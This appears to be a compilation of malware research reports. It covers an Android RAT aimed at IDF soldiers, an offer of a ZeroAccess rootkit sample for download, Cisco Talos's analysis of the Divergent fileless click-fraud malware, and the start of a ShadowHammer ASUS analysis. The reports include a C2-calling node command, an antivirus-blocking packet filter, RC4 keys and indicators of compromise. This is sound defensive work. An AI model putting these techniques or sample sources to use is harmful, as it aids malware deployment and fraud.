The payload uses the WebSocket protocol, which gives the attacker a real-time interface to send commands to the payload in a way that resembles ‘reverse shell’. Some of the commands are not yet implemented. The commands give the operator basic yet dangerous RAT capabilities:
- Collect general information about the device e.g., Network operator, GPS location, IMEI, etc.
- Open a browser and browse to a chosen URL
- Read & send SMS messages, and access contacts
- Eavesdrop at a specific time and period
- Take pictures (using the camera) or screenshots
- Record video and audio.
**Commands**
- COLL_AUDIO_RECORDS
- COLL_CALL_RECORDS
- GET_LOCATION
- CHECK_AVAILABILITY
- OPEN_WEBPAGE
- GET_IMAGE
- GET_DEVICE_INFO
- COLL_CAPTURED_PHOTOS
- GET_TELEPHONY_INFO
- GET_CELLS_INFO
- TAKE_SCREENSHOT
- CALL_PHONE
- GET_SEC_GALL_CACHE
- GET_SMS
- SEND_SMS
- GET_CONTACTS
- GET_BOOKMARKS
- TAKE_BACK_PIC
- CHANGE_AUDIO_SOURCE
- RECORD_AUDIO
- GET_SEARCHES
- CLOSE_APP
- GET_HISTORY
- OPEN_APP
- GET_CALENDAR_EVENTS
- RESTART
- GET_USER_DICTIONARY
- SHUTDOWN
- UNINSTALL_APP
- GET_ACCOUNTS
- INSTALL_APK
- GET_INSTALLED_APPS
- GET_WHATSAPP_KEY
- RECORD_FRONT_VIDEO
- GET_WHATSAPP_BACKUP
- GET_FILE
- GET_CALLS
- GET_ROOT_STATUS
- TAKE_FRONT_PIC
- RECORD_BACK_VIDEO
- INVALID_COMMAND
*Commands which were implemented are in bold.*
### Scheduled Process
Besides the C&C commands, the payload periodically collects data using various Android APIs. The default time interval is 30 seconds. The process collects the following data:
- General data about the device (as mentioned in the C&C command)
- SMS messages, WhatsApp database along with the encryption key (requires root permissions which is not yet fully implemented)
- Browsing & search history along with bookmarks
- Documents and archives (< 2MB) found in storage (doc, docx, ppt, rar, etc.)
- Pictures taken, auto captures while on an active call
- List of contacts and call logs
- Records calls and eavesdrops
- Updates itself
The attackers implemented all of the malicious logic without any native or third-party sources. The logic behind the automatic call-recording feature is implemented entirely using Android’s API.
## Conclusions
The IDF, which led the research along with Kaspersky Lab researchers, has concluded that this is only the opening shot of this operation. Further, that it is by definition a targeted attack against the Israeli Defense Force, aiming to exfiltrate data on how ground forces are spread, which tactics and equipment the IDF is using, and real-time intelligence gathering. Kaspersky Lab GReAT researchers will disclose more behind-the-scenes details of the operation at the upcoming Security Analyst Summit.
## IOCs
**Domain names & APK hashes**
- androidbak[.]com
- droidback[.]com
- endpointup[.]com
- siteanalysto[.]com
- goodydaddy[.]com
- 10f27d243adb082ce0f842c7a4a3784b01f7248e
- b8237782486a26d5397b75eeea7354a777bff63a
- 09c3af7b0a6957d5c7c80f67ab3b9cd8bef88813
- 9b923303f580c999f0fdc25cad600dd3550fe4e0
- 0b58c883efe44ff010f1703db00c9ff4645b59df
- 0a5dc47b06de545d8236d70efee801ca573115e7
- 782a0e5208c3d9e8942b928857a24183655e7470
- 5f71a8a50964dae688404ce8b3fbd83d6e36e5cd
- 03b404c8f4ead4aa3970b26eeeb268c594b1bb47
**Certificates – SHA1 fingerprints**
- 10:EB:7D:03:2A:B9:15:32:8F:BF:68:37:C6:07:45:FB:DF:F1:87:A6
- 9E:52:71:F3:D2:1D:C3:22:28:CB:50:C7:33:05:E3:DE:01:EB:CB:03
- 44:52:E6:4C:97:4B:6D:6A:7C:40:AD:1E:E0:17:08:33:87:AA:09:09
- 67:43:9B:EE:39:81:F3:5E:10:33:C9:7A:D9:4F:3A:73:3B:B0:CF:0A
- 89:C8:E2:E3:4A:23:3C:A0:54:A0:4A:53:D6:56:C8:2D:4A:8D:80:56
- B4:D5:0C:8B:73:CB:A9:06:8A:B3:F2:49:35:F8:58:FE:A2:3E:2E:3A
- Mobile security
- Obfuscation
- Social engineering
- Targeted attacks
- Trojan |
# ZeroAccess / Max++ / Smiscer Crimeware Rootkit Sample
## Post Update Feb 24, 2011
Download MaxRootkit_2011_1.exe as a password protected archive (contact me if you need the password).
### Virustotal
**Submission date:** 2011-02-14 14:41:24 (UTC)
**Result:** 25 / 43 (58.1%)
| Antivirus | Version | Last Update | Result |
|--------------------------|------------------|---------------|------------------------------------------|
| AhnLab-V3 | 2011.02.14.02 | 2011.02.14 | Trojan/Win32.Gen |
| AntiVir | 7.11.3.78 | 2011.02.14 | TR/Dropper.Gen |
| Avast | 4.8.1351.0 | 2011.02.14 | Win32:FakeAlert-FC |
| Avast5 | 5.0.677.0 | 2011.02.14 | Win32:FakeAlert-FC |
| AVG | 10.0.0.1190 | 2011.02.14 | Dropper.Generic3.AJH |
| BitDefender | 7.2 | 2011.02.14 | Trojan.Generic.5349632 |
| CAT-QuickHeal | 11.00 | 2011.02.14 | Worm.Sirefef.a |
| DrWeb | 5.0.2.03300 | 2011.02.14 | Trojan.DownLoader2.2219 |
| Emsisoft | 5.1.0.2 | 2011.02.14 | Worm.Win32.Sirefef!IK |
| F-Secure | 9.0.16160.0 | 2011.02.14 | Trojan.Generic.5349632 |
| Fortinet | 4.2.254.0 | 2011.02.14 | W32/Dx.VUZ!tr |
| GData | 21 | 2011.02.14 | Trojan.Generic.5349632 |
| Ikarus | T3.1.1.97.0 | 2011.02.14 | Worm.Win32.Sirefef |
| McAfee | 5.400.0.1158 | 2011.02.14 | Generic.dx!vuz |
| McAfee-GW-Edition | 2010.1C | 2011.02.14 | Heuristic.BehavesLike.Win32.Suspicious.H |
| Microsoft | 1.6502 | 2011.02.14 | Worm:Win32/Sirefef.gen!A |
| NOD32 | 5872 | 2011.02.14 | a variant of Win32/Sirefef.C |
| Panda | 10.0.3.5 | 2011.02.13 | Trj/CI.A |
| PCTools | 7.0.3.5 | 2011.02.13 | Trojan.Gen |
| Rising | 23.45.00.00 | 2011.02.14 | [Suspicious] |
| Symantec | 20101.3.0.103 | 2011.02.14 | Trojan.Gen |
| TheHacker | 6.7.0.1.130 | 2011.02.13 | Trojan/Sirefef.c |
| TrendMicro | 9.200.0.1012 | 2011.02.14 | TROJ_GEN.R3EC1BD |
| TrendMicro-HouseCall | 9.200.0.1012 | 2011.02.14 | TROJ_GEN.R3EC1BD |
| VIPRE | 8416 | 2011.02.14 | Trojan.Win32.Generic!BT |
**MD5:** 392ddf0d2ee5049da11afa4668e9c98f
Infosec resources published an excellent and very detailed 4 part tutorial by Giuseppe Bonfa: *Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit*.
To follow the tutorial, you need a hex editor of your choice (e.g. Hex Workshop), debugger (Ollydbg) plus the malware ZeroAccess rootkit.
### Malware Type
**Rootkit ZeroAccess (aka MAX++)**
Advanced rootkit used in FakeAV installations. According to the tutorial, the purpose of this rootkit is to set up a stealthy, undetectable and un-removable platform to deliver malicious software to victim computers. ZeroAccess is currently used to deliver FakeAntivirus crimeware applications that trick users into paying $70 to remove the “antivirus”. It could be used to deliver any malicious application, such as one that steals bank and credit card information in the future. Further analysis and network forensics support that ZeroAccess is being hosted and originates from the Ecatel Network, which is controlled by the cybercrime syndicate RBN (Russian Business Network).
### General File Information
- **File:** Max++ downloader install_2010.exe (aka Max++, aka Zeroaccess)
- **MD5:** d8f6566c5f9caa795204a40b3aaaafa2
- **SHA1:** d0b7cd496387883b265d649e811641f743502c41
- **File size:** 79360 bytes
- **Distribution:** FakeAV - e.g. Antivirus2010
- **Source:** http://www.kernelmode.info (many thanks to EP_X0FF)
### Automated Scans
**Submission date:** 2010-10-29 17:02:09 (UTC)
**Result:** 40 / 43 (93.0%)
| Antivirus | Version | Last Update | Result |
|--------------------------|------------------|---------------|------------------------------------------|
| AhnLab-V3 | 2010.10.29.00 | 2010.10.28 | Dropper/Smiscer.79360.B |
| AntiVir | 7.10.13.74 | 2010.10.29 | TR/Drop.Smiscer.HF.1 |
| Authentium | 5.2.0.5 | 2010.10.29 | W32/Dropper.AYXZ |
| Avast | 4.8.1351.0 | 2010.10.29 | Win32:Trojan-gen |
| Avast5 | 5.0.594.0 | 2010.10.29 | Win32:Trojan-gen |
| AVG | 9.0.0.851 | 2010.10.28 | Crypt.NSQ |
| BitDefender | 7.2 | 2010.10.29 | Trojan.Generic.IS.439387 |
| CAT-QuickHeal | 11.00 | 2010.10.26 | TrojanDropper.Smiscer.hf |
| ClamAV | 0.96.2.0-git | 2010.10.29 | Trojan.Dropper-24318 |
| Comodo | 6552 | 2010.10.29 | TrojWare.Win32.TrojanDropper.Agent.783360 |
| DrWeb | 5.0.2.03300 | 2010.10.29 | BackDoor.Maxplus.6 |
| Emsisoft | 5.0.0.50 | 2010.10.29 | Trojan-Dropper.Win32.Smiscer!IK |
| eTrust-Vet | 36.1.7942 | 2010.10.29 | Win32/ASuspect.HADSN |
| F-Prot | 4.6.2.117 | 2010.10.29 | W32/Dropper.AYXZ |
| F-Secure | 9.0.16160.0 | 2010.10.29 | Trojan.Generic.IS.439387 |
| GData | 21 | 2010.10.29 | Trojan.Generic.IS.439387 |
| Ikarus | T3.1.1.90.0 | 2010.10.29 | Trojan-Dropper.Win32.Smiscer |
| Jiangmin | 13.0.900 | 2010.10.29 | Backdoor/Agent.ctrw |
| K7AntiVirus | 9.67.2865 | 2010.10.29 | Trojan |
| Kaspersky | 7.0.0.125 | 2010.10.29 | Trojan-Dropper.Win32.Smiscer.hf |
| McAfee | 5.400.0.1158 | 2010.10.29 | Generic Dropper!cev |
| McAfee-GW-Edition | 2010.1C | 2010.10.29 | Generic Dropper!cev |
| Microsoft | 1.6301 | 2010.10.29 | TrojanDropper:Win32/Sirefef.B |
| NOD32 | 5575 | 2010.10.29 | Win32/Sirefef.P |
| Norman | 6.06.10 | 2010.10.29 | W32/Obfuscated.T |
| nProtect | 2010-10-29.01 | 2010.10.29 | Trojan-Dropper/W32.Smiscer.79360 |
| Panda | 10.0.2.7 | 2010.10.29 | Trj/Dropper.WF |
| PCTools | 7.0.3.5 | 2010.10.29 | Trojan.Generic |
| Prevx | 3.0 | 2010.10.29 | Medium Risk Malware |
| Rising | 22.71.03.02 | 2010.10.29 | Trojan.Win32.Generic.51F92A9D |
| Sophos | 4.59.0 | 2010.10.29 | Mal/EncPk-NL |
| Sunbelt | 7165 | 2010.10.29 | Trojan.Win32.Generic!BT |
| SUPERAntiSpyware | 4.40.0.1006 | 2010.10.29 | Trojan.Agent/Gen |
| Symantec | 20101.2.0.161 | 2010.10.29 | Trojan Horse |
| TheHacker | 6.7.0.1.073 | 2010.10.29 | Trojan/Dropper.Smiscer.hf |
| TrendMicro | 9.120.0.1004 | 2010.10.29 | TROJ_Gen.CX34I8 |
| TrendMicro-HouseCall | 9.120.0.1004 | 2010.10.29 | TROJ_Gen.CX34I8 |
| VBA32 | 3.12.14.1 | 2010.10.29 | Trojan.Win32.Waledac.45 |
| ViRobot | 2010.10.25.4110 | 2010.10.29 | Dropper.Smiscer.79410 |
| VirusBuster | 12.70.12.0 | 2010.10.29 | Trojan.DR.Smiscer.LP |
**MD5:** d8f6566c5f9caa795204a40b3aaaafa2
**SHA1:** d0b7cd496387883b265d649e811641f743502c41
The new version is available here, thanks to Giuseppe. |
# Divergent: "Fileless" NodeJS Malware Burrows Deep Within the Host
**Update (09/27/2019):** Additional information regarding the malware interaction with various online advertisements has been included to highlight the click-fraud related network communications associated with Divergent.
## Executive Summary
Cisco Talos recently discovered a new malware loader being used to deliver and infect systems with a previously undocumented malware payload called "Divergent." We first dove into this malware after we saw compelling data from Cisco Advanced Malware Protection's (AMP) Exploit Prevention.
This threat uses NodeJS — a program that executes JavaScript outside of a web browser — as well as the legitimate open-source utility WinDivert to facilitate some of the functionality in the Divergent malware. The use of NodeJS is not something commonly seen across malware families.
The observed malware campaigns associated with Divergent feature the use of persistence techniques most commonly associated with "fileless" malware, leaving behind few artifacts for researchers to look at. This malware can be leveraged by an attacker to target corporate networks and appears to be primarily designed to conduct click-fraud. It also features several characteristics that have been observed in other click-fraud malware, such as Kovter.
## Technical Details
Talos has identified a new modular malware that is being used to facilitate the installation of a previously undocumented malware family, which we are referring to as Divergent, due to the naming convention used by the malware during variable declaration and the creation of environment variables. While we were unable to determine the delivery mechanism used, we were able to perform analysis of the malware loader as well as the Divergent malware that it is used to install on victim systems. Divergent is a malware family designed to generate revenue for attackers via the use of click-fraud, similar to other click-fraud malware such as Kovter. Technical details associated with both the installation and operation of the Divergent malware are described in the following sections.
### Installation
The malware has many similarities with other popular fileless malware families, particularly Kovter. Like Kovter, it relies heavily on the registry for staging and storage of configuration data while avoiding more traditional on-access endpoint scanning of files on disk. It also uses a key in the registry to maintain persistence and relies on PowerShell to install itself on the infected host.
When first delivered and executed on a victim's machine, the malware is in the portable executable (PE) format. Its first task, however, is to install itself to the system in a less suspicious form, namely as an HTML Application (HTA) that will load the malware from the registry.
Installation begins by creating several registry keys containing the different parts of the loader as well as the data of the malware PE. The malware reads all the information embedded in its data section and creates three new randomly named registry keys, each holding a different stage of the loader code needed to execute the malware PE using reflective injection.
Next, the HTA loader is written to the CSIDL_COMMON_APPDATA folder (typically C:\ProgramData\) and set to execute each time the user logs on by adding an entry to the "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" registry key.
An example of an HTA loader and the accompanying registry entries necessary to execute the malware once installed are:
```
17T21vYHOb.hta ::
e4a49af295d6e61877a458a014fe63b733be942c506496b53070aa3d9ca421d8
ZfjrAilGdH.reg ::
5863f35959aa542a27319e098f40166f3ace09d265f4ec6d739318c0b739745e
```
This registry file contains the following subkeys in the key HKLM\Software\ZfjrAilGdH which are set by the installation process (the key names are randomly generated and will be different for each installation):
```
Lvt4wLGLMZ :: JScript executed by ZfjrAilGdh.hta
kCu2DZ9WI0 :: PowerShell used to reflectively inject the malware
4FLJBnefsN :: hex data representing the malware PE
```
### Fileless Malware Loader
The HTA is heavily obfuscated but when cleaned up, evaluates to an eval of the JScript in the registry key "HKLM\Software\ZfjrAilGdh\Lvt4wLGLMZ" via a "ActiveXObject.WScript.Shell.RegRead" (shown here as pseudo code):
The JScript in the reg key executes the following PowerShell (shown here deobfuscated):
This code will execute the code found in the registry location HKLM\Software\ZfjrAilGdH\kCu2DZ9WI0 after setting the variable regkeyname to the data found in the registry location HKLM\Software\ZfjrAilGdH\4FLJBnefsN. The registry key 4FLJBnefsN contains the bytes of the malicious portable executable (PE) with a modified DOS header, namely the MZ has been replaced with null bytes.
The code from kCu2DZ9WI0 is a version of PowerShell Empire's reflective PE injection script that will inject the malware. At this point, the malware executes.
### Divergent Malware
There are two main parts of this threat: one to receive and execute commands from a C2 server and another to execute external component scripts. The configuration for each part is stored in the registry in JSON format.
The component configuration describes which components should be executed and how. This example configuration will execute three different JScript components:
Each entry is parsed, and each filename and args value is passed along for execution by the malware. Detailed analysis of the call_03 (see Now I See You), all_socks_05 (see Click Fraud), and block_av_01 (see Block AV Component) components can be found below.
The network configuration stores two classes of C2: "accl" is a list of URLs that the malware should attempt to contact for system information delivery and for commands to execute, while "acll" is a list of URLs the malware should attempt to contact for possible updates to either configuration file. The default values from ZfjrAilGdH.reg are:
Notice that "version" is an epoch timestamp, converting to Saturday, March 30, 2019 7:14:29 PM GMT. The earliest reference we found containing several IOCs from this malware sample dates back to February 2019.
Once executed, the malware begins with five anti-analysis checks. If any of these checks fail, a beacon is sent to a static URL containing a direct IP and sleeps indefinitely.
The beacon message indicates which anti-analysis check failed to pass. The malware checks for unwanted processes and loaded modules by hashing process file names and module names respectively, then comparing each hash against two separate pre-computed lists for each. The lists contain hashes for endpoint security software and hypervisor services as running the sample under both scenarios failed these checks. It also checks for a host CPU with at least two cores, the presence of a debugger, and finally compares system uptime intervals to determine if the sample is running within a sandbox or virtual machine.
If the process is running with the appropriate privileges, it uses WMI (Windows Management Instrumentation) to query recognized anti-virus software installed on the host. In particular, it's looking for the antivirus software Windows Defender. If found, it proceeds to disable various components of Windows Defender and Windows Updates.
Once completed, it attempts to bypass UAC using CMSTP, if needed. Additional code is executed to check for any updates to the malware's two configuration files. Empty POST requests are sent to each of the URLs in the first configuration's accl key. These URLs are later contacted with a comprehensive set of sensitive information from the host. Most are non-responsive but still online. Many appear to be, or once were, compromised hosts used for the C2 network.
The set of direct IP URLs found in the first configuration's acll key are contacted until one server responds back with a configuration update. A response containing an RC4 encrypted update to the first of the malware's configurations in the Registry. In this sample, the RC4 key "seiC4aimaish9zah8kah" is static, and decryption results in a lengthier update for the first configuration:
The data is stored in the pre-existing registry subkey to update the value (in this example, HKLM\SOFTWARE\ZfjrAilGdH\194956). As of Sept. 9, 2019, the version timestamp for the latest config pulled was Thursday, Aug. 29, 2019 11:50:19 a.m.
The second configuration is stored in the last remaining value in the ZfjrAilGdH registry subkey (HKLM\SOFTWARE\ZfjrAilGdH\2177774). Default values mentioned near the beginning of this section remained in use during runtime.
The primary flow of the malware code reaches an end but repeats select tasks every 90 minutes. It continues to check for configuration updates, continues to send encrypted sensitive information from the infected host, and continues to process any C2 responses that might contain additional commands to execute. The following commands and parameters are supported by the C2 protocol used by Divergent:
- **killall:** Terminate all processes initiated by the malware, delete corresponding files
- **kill:** Find process of specified component, terminate process, and delete the file
- **stop:** Find process of specified component, terminate process
- **resume:** Given pre-existing component, execute file
- **modules:** From the same response data, pull additional configuration data from the following keys:
- name
- filename
- args
- version
- type
- download
- Key
Using this data, the malware sends additional requests to download each specified file. The files are written to disk and executed.
- **update:** From the same response data, pull additional configuration data from the following keys:
- filename
- download
- Key
Same as the modules command, the malware sends additional requests to download each specified file. Each file is written to disk and executed. Finally, the task deletes the Registry data stored in its subkey (handles both HKCU and HKLM).
The command update_interval modifies the main thread's sleep counter for the ending loop (the default time is 90 minutes).
### Components
#### Block AV Component
The block_av_01 component attempts to block anti-virus software from receiving updates by blocking all outbound TCP connections on port 80 and port 443. With older revisions of this malware package, this functionality was delivered via a JScript file named bav01.js but in newer versions, this has been seen delivered by PowerShell in the fake PNG trpl.png.
This installation script starts by creating a new folder (e.g. SystemConfigInfo000) to hold the files necessary for execution. The two files to be installed are WinDivert.dll and either WinDivert32.sys or WinDivert64.sys, depending on the host CPU architecture. These are the legitimate WinDivert binaries and are used by the malware to create its packet filter.
The WinDivert binaries are embedded in bav01.js as comments and written to disk with .b64 extensions. The following is the code to retrieve the embedded resource named arch5 from the script, embedded in a comment block in the format /*[<resource name>[resource data]]*/:
Each WinDivert binary is then decoded from base64 using the Windows Certificate Services utility certutil.exe. For example:
This script is set to execute as a task each time the computer starts. This is accomplished by creating a scheduled task with a random-looking service name that is set to run as the SYSTEM user at the highest run level.
Next, the following PowerShell command is executed to execute the base64 encoded PowerShell commands in the environment variable 'nttyuuyt':
The 'nttyuuyt' environment variable was set by bav01.js previously and contains a base64 encoded PE and the PowerShell commands necessary to reflectively inject this executable.
At this point in the script, installation is complete and the PE-based module to block anti-virus HTTP/HTTPS connections is loaded.
To achieve its anti-virus blocking, the reflectively loaded PE periodically checks the names of all running processes against a predefined list. If any process names appear in the list, the PIDs are added to the filter string passed to WinDivertOpen which will block all traffic to that process on remote ports 80 or 443. An example filter string is:
```
((processId=620 or processId=736) and (remotePort==80 or remotePort==443))
```
Example process names that would be blocked include msmpeng.exe (Windows Defender) and svchost.exe.
#### Click Fraud
The all_socks component is a NodeJS-based Socket.IO client that is commanded to navigate to arbitrary web pages by the attacker ostensibly for monetization and click fraud purposes. With older revisions of this malware package, this functionality was delivered via a JScript file named either 04sall.js or 05sall.js, but in newer versions this has been seen delivered by PowerShell in the fake PNG strpk.png.
Like the anti-virus blocking component, the click fraud component makes use of the WinDivert library and therefore installs the necessary WinDivert DLL and driver in the same manner as bav01.js, described above. Additionally, the NodeJS executable and a NodeJS Socket.IO client named app.js are part of the installation process for this component. Older versions of this component also installed two executables, divergent.exe and mdivergent.exe; however, in later versions, these are executed from memory via reflective PE injection.
The malicious NodeJS application, seen either as app.js or init.js, is a simple Socket.IO client that takes a base64 encoded IP address as its only parameter.
```
node.exe app.js <base64 encoded IP>
```
In all samples we have encountered, the IP address has been 176.9.117.194 (encoded as MTc2LjkuMTE3LjE5NA==). Upon execution, the malicious NodeJS app will make a request to the IP passed as a parameter:
The response from this server is the address of the next server which the application will connect to. This new connection uses Socket.IO web sockets to maintain continuous communication between the victim and the server so the server can periodically send commands. The commands sent from this second server contain the host address of an advertisement revenue service and the entire HTTP request that should be made to that server, effectively faking a click on an advertisement link.
To protect themselves from these kinds of fraudulent requests, advertisement monetization services may go to extra lengths to confirm the device making the request is the type of device it claims to be. For example, if the monetization service only expects mobile devices, it may reject requests that have the characteristics of desktop devices. We believe the divergent.exe and mdivergent.exe executables are used by the 04sall.js/05sall.js components to circumvent these kinds of checks.
The divergent and mdivergent PEs make use of the WinDivert library to intercept and rewrite the first SYN packet of the 3-way TCP handshake for all outgoing connections the infected host attempts to make. The changes made to the SYN packets depend on which executable was used; either divergent.exe will rewrite the TCP header options to follow the same format as Android devices while mdivergent.exe will rewrite the TCP header options to follow the format as iOS devices. Which version of the divergent executable is used is dependent on the app.js deployment script.
These scripts contain code that decides which version should be used depending on a variable named macchance which can be passed to the deployment script as its only parameter. This variable contains the probability that mdivergent.exe will be deployed instead of divergent.exe.
For either of these divergent executables to work properly, several changes to the TCP/IP stack on the infected machine must be made; these include setting the TTL to 64, turning on the timestamp TCP header options, and changing the MTU to 1440. Once those changes have been made, the system is forced to reboot with a false message of Critical_Windows_Update.
With these changes made, the divergent executables can perform the necessary modifications to each SYN packet so that they follow the standards of the device the host should be disguised as.
During our analysis of systems actively infected with Divergent, we observed several web requests initiated by the malware attempting to interact with various online advertisements and advertising platforms, indicative of the previously described click-fraud process performed by the malware. Similar to what was observed related to the modification of the TCP configuration, the User-Agent field was modified to make the web requests appear as if they had originated from a mobile device. Web requests were made to various online advertising services.
We also observed additional web requests which included a standard desktop User-Agent. Additionally, the malware attempts to interact with “in-app” advertising platforms such as Mobfox.
### Now I See You
The component named call_03 by the malware's configuration file, which is delivered by the em_02.js and em_03.js scripts, appears to be a means of installing a remote assist tool on the infected machine that would allow the attacker to view and possibly control the victim's computer.
Like the previous components, the PE associated with em_03.js is executed via reflective PE injection, this time with the environment variable fdghjgfdhj.
The PE to be injected is a DLL which, according to its export table, was originally called now_i_see_you.dll. This DLL has a single exported function named VoidFunc which contains all of its functionality. When VoidFunc is executed, it makes an HTTP GET request to the hxxps://uoibppop[.]tk/. It then takes the response from this server and treats it as a new URL to navigate to. Using COM objects, the DLL launches an instance of Internet Explorer, resizes the window to fit the entire screen and navigates to the URL in the response. At the time of analysis, the server was active but did not respond with any data so we were unable to confirm what was being hosted there.
Additionally, the DLL hides the Windows taskbar so the user is more compelled to comply with any instructions on the page that is presented to them. Next, the malware enters a loop looking for a process containing the string gotoassist (older versions also looked for teamviewer), ostensibly for confirming that the user followed the instructions in Internet Explorer by downloading and running the attacker's malware. Once this process is running, the Windows Taskbar is restored to view. A process list is gathered and sent to the URL hxxps://uoibppop[.]tk/clean; no response is expected from the server. The registry key `HKEY_CURRENT_USER\Software\fbsjbdfhsv` is created and the key value `weqr` is set to 1, indicating that execution was successful, then the process exits. Instead of a URL, the attacker has the option to send the word stop to the victim which will cause the DLL to forcefully reboot the infected machine.
While we do not know what URL the victim is intended to navigate to and therefore which program they are to be tricked into running, based on the process names gotoassist and teamviewer and the original DLL name of now_i_see_you.dll, it is likely that the victim is intended to install one of these remote administration software.
### Fake PNG PowerShell Delivery
Newer versions of the Divergent malware package no longer deliver and execute components as JScript; instead, multi-stage PowerShell scripts are used. The first stage will retrieve the second stage from a static URL. The first-stage PowerShell is heavily obfuscated.
Here is our deobfuscated version:
While the requested resource features the extension normally associated with PNG images, it is actually malicious PowerShell that has been encrypted using RC4 with the encryption key "raimeey2nu," which was stored in the previous PowerShell.
We have encountered the following URLs to retrieve the encrypted PowerShell:
- hxxp://1292172017[.]rsc.cdn77[.]org/images/trpl.png
- hxxp://1292172017[.]rsc.cdn77[.]org/imtrack/strkp.png
The first URL delivers the PowerShell version of bav01.js and the second delivers the PowerShell version of 05sall.js.
Taking a deeper look at the PowerShell version of 05sall.js, we see Base64 encoded blobs corresponding to binaries associated with WinDivert. Like its JScript counterpart, the PowerShell decodes these blobs and saves them to the filesystem location defined by the environment variable %ALLUSERSPROFILE%.
Shellcode stored within the PowerShell is loaded into a new memory region using the Windows API function VirtualAlloc and then executed to continue the infection process.
## Conclusion
The malware loader described is currently under active development. Talos has observed multiple versions of the loader being used to install the Divergent malware. Attackers are attempting to monetize these infections through the use of click fraud. The threat landscape is constantly evolving as attackers test new techniques and methodologies to maximize their revenue generation capabilities. Organizations should be aware of these changes and ensure that their security programs are able to remain effective against these changing tactics, techniques, and procedures. This threat is successfully stopped by the Cisco Advanced Malware Protection (AMP) Exploit Prevention engine, and the resulting event data assisted with our analysis of the threat. Talos will continue to monitor the threat landscape to ensure that customers remain protected.
## Indicators of Compromise (IOCs)
The following IOCs have been observed as being associated with these malware campaigns.
### HTA Hashes:
```
47b5dac9152220fbbf122eff89ac93d42e9196f5ab665a2a6d99594246ab8a81
062688aec1bdf1208bd72a77696e1fbcd1076f54bd6e59141ed12b6f8e3ba32c
```
### PE32 Hashes:
```
c7052f4676102bfe39ab19c227832861caa2959933e296ee1806973619948624
781adc919a705ca3e8a82fe1d1eac68f651c50ba402172aea033eaec7879e932
05fbd38ea0b99621d22ce5f057173fdec40f3dccd63f887e1c301766c6597714
2135acda2d2739773fbb827e8d180ac901c040d2f071127bb597a714591672cd
72b6a8bf9598bd445e26a04ab58be62ed3941fb1fe4cf4a094a6272a77b66009
ba04eacaa80bb5da6b02e1e7fdf3775cf5a44a6179b2c142605e089d78a2f5b6
a82dd93585094aeba4363c5aeedd1a85ef72c60a03738b25d452a5d895313875
2f4a9ef2071ee896674e3da1a870d4efab4bb16e2e26ea3d7543d98b614ceab9
77498f0ef4087175aa85ce1388f9d02d14aaf280e52ce7c70f50d3b8405fea9f
b2d29bb9350a0df93d0918c0208af081f917129ee46544508f2e1cf30aa4f4ce
bf2cdd1dc2e20c42d2451c83b8280490879b3515aa6c15ab297419990e017142
ba04eacaa80bb5da6b02e1e7fdf3775cf5a44a6179b2c142605e089d78a2f5b6
a7656ccba0946d25a4efd96f4f4576494d5f1e23e6ad2acc16d2e684656a2d4f
607b2f3fd1e73788a4d6f5a366c708dbb12d174eba9863ade0af89ca40e1fdba
```
### URLs:
```
hxxps://1292172017[.]rsc[.]cdn77[.]org/images/trpl.png
hxxps://1292172017[.]rsc[.]cdn77[.]org/imtrack/strkp.png
```
### Mutexes:
```
Global\Divergent
Global\CreatorsPatch
Global\LocalLow7
```
### IP Addresses:
```
95[.]70[.]244[.]209
13[.]228[.]224[.]121
54[.]241[.]31[.]99
103[.]31[.]4[.]11
103[.]31[.]4[.]54
198[.]41[.]128[.]74
198[.]41[.]128[.]55
131[.]0[.]72[.]36
131[.]0[.]72[.]59
188[.]114[.]96[.]87
188[.]114[.]96[.]116
43[.]250[.]192[.]98
43[.]250[.]192[.]87
217[.]160[.]231[.]125
208[.]91[.]197[.]25
184[.]168[.]221[.]42
103[.]224[.]248[.]219
31[.]31[.]196[.]120
217[.]160[.]223[.]93
103[.]224[.]248[.]219
184[.]168[.]221[.]45
119[.]28[.]87[.]235
23[.]227[.]38[.]32
50[.]63[.]202[.]39
216[.]239[.]34[.]21
83[.]243[.]58[.]172
5[.]9[.]41[.]178
88[.]198[.]26[.]25
62[.]75[.]189[.]110
109[.]239[.]101[.]62
107[.]186[.]67[.]4
184[.]168[.]221[.]63
45[.]55[.]154[.]177
104[.]28[.]2[.]169
202[.]56[.]240[.]5
89[.]163[.]255[.]171
185[.]243[.]114[.]111
``` |
# Analysis of ShadowHammer ASUS Attack First Stage Payload
**Introduction**
On March 25th 2019, Kaspersky released a high-level advisory describing the attack against ASUS:
“In January 2019, we discovered a sophisticated supply chain attack involving the ASUS Live Update Utility. The attack took place between June and November 2018 and according to our telemetry, it affected a large number of users. The goal of the attack was to surgically target an unknown pool of users, which were identified by their network adapters’ MAC addresses. To achieve this, the attackers had hardcoded a list of MAC addresses in the trojanized samples and this list was used to identify the actual intended targets of this massive operation.”
The original advisory contains lots of more useful information, but technical details were limited at this early stage. To learn more about the attack we decided to investigate the payloads further.
**History of Activity**
The Kaspersky post references a zip file that is a copy of the ASUS Live Update Utility. Inside this zip file were three files, two MSIs, and a file called Setup.exe. By reviewing the history of these files on VirusTotal and examining the files themselves, it was confirmed that shellcode had been inserted within the legitimate Setup.exe and the code modified to redirect execution.
We analyzed historic samples from VirusTotal to gain a better understanding of the attacker’s actions over time. Kaspersky reported that this attack ran from June to November 2018, which appeared to be true based on the samples submitted to VirusTotal. The first malicious sample can be seen on the 29th June 2018 and the most recent on 17th November 2018.
A high-level analysis of these samples found that at least two different backdoor variants were deployed. From June to September, the attackers used an unencoded payload along with a patched WinMain to redirect execution. From September onwards, a stealthier backdoor was deployed, that included an obfuscated shellcode payload and decoder with execution via the function _crtExitProcess. All samples were also found to use the same C2 channel involving asushotfix.com, which was first registered on 5th May 2018 with an IP address 141.105.71.116 located in Russia.
Pivoting on this IP address, the following additional domains were also found:
- **Domain** **First Seen**
host2.infoyoushouldknow.biz 2013-04-27
nano2.baeflix.xyz 2016-03-24
asushotfix.com 2018-05-22
www.asushotfix.com 2018-07-13
homeabcd.com 2018-09-05
simplexoj.com 2018-09-11
It is unclear what role these domains played; however, there is a strong possibility they were also used in the ASUS attack or by the same threat group in other attacks.
In the next sections, we’ll take a deeper dive into the sample referenced by Kaspersky MD5: 55a7aa5f0e52ba4d78c145811c830107 which included the obfuscated payload.
**Loading the Shellcode**
